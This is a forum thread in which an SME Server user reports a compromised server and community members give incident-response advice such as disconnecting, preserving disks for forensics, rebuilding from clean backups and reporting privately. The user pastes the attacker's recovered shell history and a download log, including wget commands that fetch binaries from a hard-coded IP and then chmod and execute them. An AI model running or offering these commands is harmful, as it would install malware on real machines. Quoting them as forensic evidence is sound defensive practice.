Topic: My server has been hacked.

[monoman]

Hi,
My SME 8.1 server has been hacked.  Where is the correct place to ask for assistance.

[guest22]

security@contribs.org for all your doubts. Please re frame from bold statements.

guest

[monoman]

I have sent an email to security@contribs.org and received a reply that my message is awaiting moderator review.  What next?

[janet]

monoman

1 Disconnect your server from the Internet IMMEDIATELY

2 Disable incoming & outgoing mail (db commands)

3 Disable web & samba access to ibays (server manager ibay panel)

4 Disable web apps eg php or similar applications that are web accessible (within the apps control panel or db commands)

5 Investigate & prove without a doubt what the hack is, what damage it has done, check check check. Find out what vulnerability it used etc, upgrade as necessary & apply bug fixes for known vulnerabilities & issues & remove poor quality code eg html or php code. (look at various log files)

6 Typically rebuild your server & restore from known good backups ie backups that you are sure have not been compromised by hackers.
If you persist with using your current server after fixing the hack, there may be many back door vulnerabilitries still on your hard drive & system etc, so it is a difficult ask to trust a server that has been compromised. Better to rebuild with a clean operating system & only use a clean known good uncompromised backup to restore data from.

7 Use latest release OS & upgraded contrib packages to ensure apps & OS are bug free.

8  Always keep your server & add on contribs & web apps etc updated in future to avoid vulnerabilities.

[monoman]

monoman



7) Use latest release OS & upgraded contrib packages to ensure apps & OS are bug free.

Always keep your server & add on contribs & web apps etc updated in future to avoid vulnerabilities.

Last thing I do every night before leaving is run yum update.  My server was current and up to date.

[janet]

monoman

What about web apps & add on contribs, do you have all of them updated ?

[monoman]

Zero add ons.

Only contrib I use is AFFA, and that's on a second server.

I'm no sysadmin, but I have been setting up and administering e-smith/sme server since 1999.

[janet]

monoman

You provide no evidence to support the hacking theory, & provide no description of the problems you are experiencing, so other than generic information it is difficult to help you here.

What do you want from us ?

Disconnect your server as advised & do your research.
The best place to discuss the matter is at the security email address, as they will determine if there are any real security issues with the underlying server code, or whether your carelessness or installed contribs or settings etc are the problem.

Are your passwords very strong, have you changed them since the issue ?

[guest22]

Hi,
My SME 8.1 server has been hacked.

Please change the subject, for there is no proof of this statement.

[monoman]

Hi,

I received the following message this AM.

> kerne: no process killed
> socket: no process killed
> cnet2: no process killed
> cnet2: no process killed
> iptables: unrecognized service
> --2014-08-12 08:00:11--http://61.147.103.185:8088/install.tar
> Connecting to 61.147.103.185:8088... failed: Connection timed out.
> Retrying.
>
> --2014-08-12 08:03:43--  (try: 2)http://61.147.103.185:8088/install.tar
> Connecting to 61.147.103.185:8088... connected.
> HTTP request sent, awaiting response... 200 OK
> Length: 1351680 (1.3M) [application/octet-stream]
> Saving to: `/bin/install.tar'
>
>       0K .......... .......... .......... .......... ..........  3% 49.9K 25s
>      50K .......... .......... .......... .......... ..........  7%  196K 15s
>     100K .......... .......... .......... .......... .......... 11%  558K 10s
>     150K .......... .......... .......... .......... .......... 15%  266K 9s
>     200K .......... .......... .......... .......... .......... 18%  828K 7s
>     250K .......... .......... .......... .......... .......... 22%  270K 6s
>     300K .......... .......... .......... .......... .......... 26% 1.13M 5s
>     350K .......... .......... .......... .......... .......... 30% 1.14M 4s
>     400K .......... .......... .......... .......... .......... 34%  302K 4s
>     450K .......... .......... .......... .......... .......... 37% 1.13M 3s
>     500K .......... .......... .......... .......... .......... 41% 1.13M 3s
>     550K .......... .......... .......... .......... .......... 45% 1.13M 3s
>     600K .......... .......... .......... .......... .......... 49% 1.14M 2s
>     650K .......... .......... .......... .......... .......... 53%  661K 2s
>     700K .......... .......... .......... .......... .......... 56% 1.10M 2s
>     750K .......... .......... .......... .......... .......... 60% 1.13M 2s
>     800K .......... .......... .......... .......... .......... 64% 1.13M 1s
>     850K .......... .......... .......... .......... .......... 68% 1.13M 1s
>     900K .......... .......... .......... .......... .......... 71% 1.13M 1s
>     950K .......... .......... .......... .......... .......... 75% 1.13M 1s
>    1000K .......... .......... .......... .......... .......... 79% 1.11M 1s
>    1050K .......... .......... .......... .......... .......... 83% 1.13M 1s
>    1100K .......... .......... .......... .......... .......... 87% 1.12M 0s
>    1150K .......... .......... .......... .......... .......... 90% 1.13M 0s
>    1200K .......... .......... .......... .......... .......... 94% 1.13M 0s
>    1250K .......... .......... .......... .......... .......... 98% 1.13M 0s
>    1300K .......... ..........                                 100% 1.17M=2.8s
>
> 2014-08-12 08:05:19 (469 KB/s) - `/bin/install.tar' saved [1351680/1351680]
Plus the following commands were extracted from /root/.bash_history

>
> killall -9 atddd dsfrefr ferwfrre gfhddsfew gfhjrtfyhuf ksapdd kysapdd rewgtf3er4t sdmfdsfhjfe sfewfesfs skysapdd xfsdxd .IptabLes .IptabLex trffg pojie freeBSD cupsdd cupsddh bond0 bond1 ddos998 cupsd .SSH2 .sshdd140513909 nhgbhhj .sshdd140541868 SSH2 .synest node sswlzyyyangji yjcy64
> cd /etc
> rm -rf atddd dsfrefr ferwfrre gfhddsfew gfhjrtfyhuf ksapdd kysapdd rewgtf3er4t sdmfdsfhjfe sfewfesfs skysapdd xfsdxd bond0 bond1 cupsd in tang ser sshh .SSH2 .sshdd140513909 nhgbhhj .sshdd140541868 SSH2 .synest node sswlzyyyangji yjcy64
> cd /bin
> rm -rf atddd dsfrefr ferwfrre gfhddsfew gfhjrtfyhuf ksapdd kysapdd rewgtf3er4t sdmfdsfhjfe sfewfesfs skysapdd xfsdxd ssh bond0 bond1 cupsd in tang ser sshh .SSH2 .sshdd140513909 nhgbhhj .sshdd140541868 SSH2 .synest node sswlzyyyangji yjcy64
> rm -rf /bin/cnet2
> cd /bin
> wget -c http://61.147.103.185:8089/cnet2
> chmod 0777 cnet2
> ./cnet2
> killall -9 mysql515
> rm -rf /bin/mysql515
> rm -rf /bin/install.tar
> cd /bin
> wget -c http://61.147.103.185:8088/mysql515
> chmod 0777 /bin/mysql515
> ./mysql515

I have a full set of backups using the incongruously named "workstation backup", and also a backup using AFFA on another machine.  Because I have not needed to perform a wipe, reinstall and restore before, I am also performing a server console backup.

Any and all help appreciated.

George

P.S.  I've been an e-smith/sme server user since 1999 and was know Charlie Brady and Gordon Rowell.  I have a handful of customers using 8.1.

[guest22]

As per the advise of Janet, please discuss details with security@contribs.org. It has always been common practice not to discuss possible security issues in public until completely audited.

Please advise security@contribs.org if you can make the server available for a possible remote audit.

Meanwhile, please do not change anything! and disconnect the machine from any network, internal and external.

Thanks,
guest

(typo)

[lostinthepost]

As per the advise of Janet, please discuss details with security@contribs.org. It has always been common practice not to discuss possible security issues in public until completely audited.

Please advise security@contribs.org if you can make the server available for a possible remote audit.

Meanwhile, please do not change anything! and disconnect the machine from any network, internal and external.

Thanks,
guest

(typo)

Respectfully, one minute you accuse me of providing no proof, next you are whacking me for providing it.

I already posted that I have emailed security@contribs.org and that my message was awaiting moderation.

The server is currently being reformatted and reinstalled. Production servers can't wait in limbo for contact from the security team.

[monoman]

Respectfully, one minute you accuse me of providing no proof, next you are whacking me for providing it.

I already posted that I have emailed security@contribs.org and that my message was awaiting moderation.

The server is currently being reformatted and reinstalled. Production servers can't wait in limbo for contact from the security team.

Lostinthepost was an old username I had on this forum. Didn't realise my tablet logged me is as that.

[janet]

monoman

Rebuilding the server does not help the security team.
All forensic history is lost.

You could have put that machine or hard drives to one side & then they would be available for forensic analysis, say via remote access.


It looks like command line control was gained, so how ?

Out of interest is ssh set for password access ?
Is the password very strong or weak ?

You should really use public private keys for ssh access, were you using ppkeys ?

[ReetP]

I have sent an email to security@contribs.org and received a reply that my message is awaiting moderator review.  What next?

Hi,

I'm sorry about this and not sure what has happened. There's a whole pile of stuff going on in the background right now. I never even realised we had this address !

The best answer (in general terms) is to file a new bug and in the 'Component' section select Security.

This should then go to the security team and will not be generally revealed unless they so choose.

Regarding information here just provide sufficient to show the problem, though if it is due a security issue it is better to go straight to Bugzilla rather than revealing too much information here.

Also it is much better to try and find the source of the problem before wiping the machine - we could lose valuable information. As janet suggested, if nothing else try and keep the disks aside so they can be analysed if required.

B. Rgds
John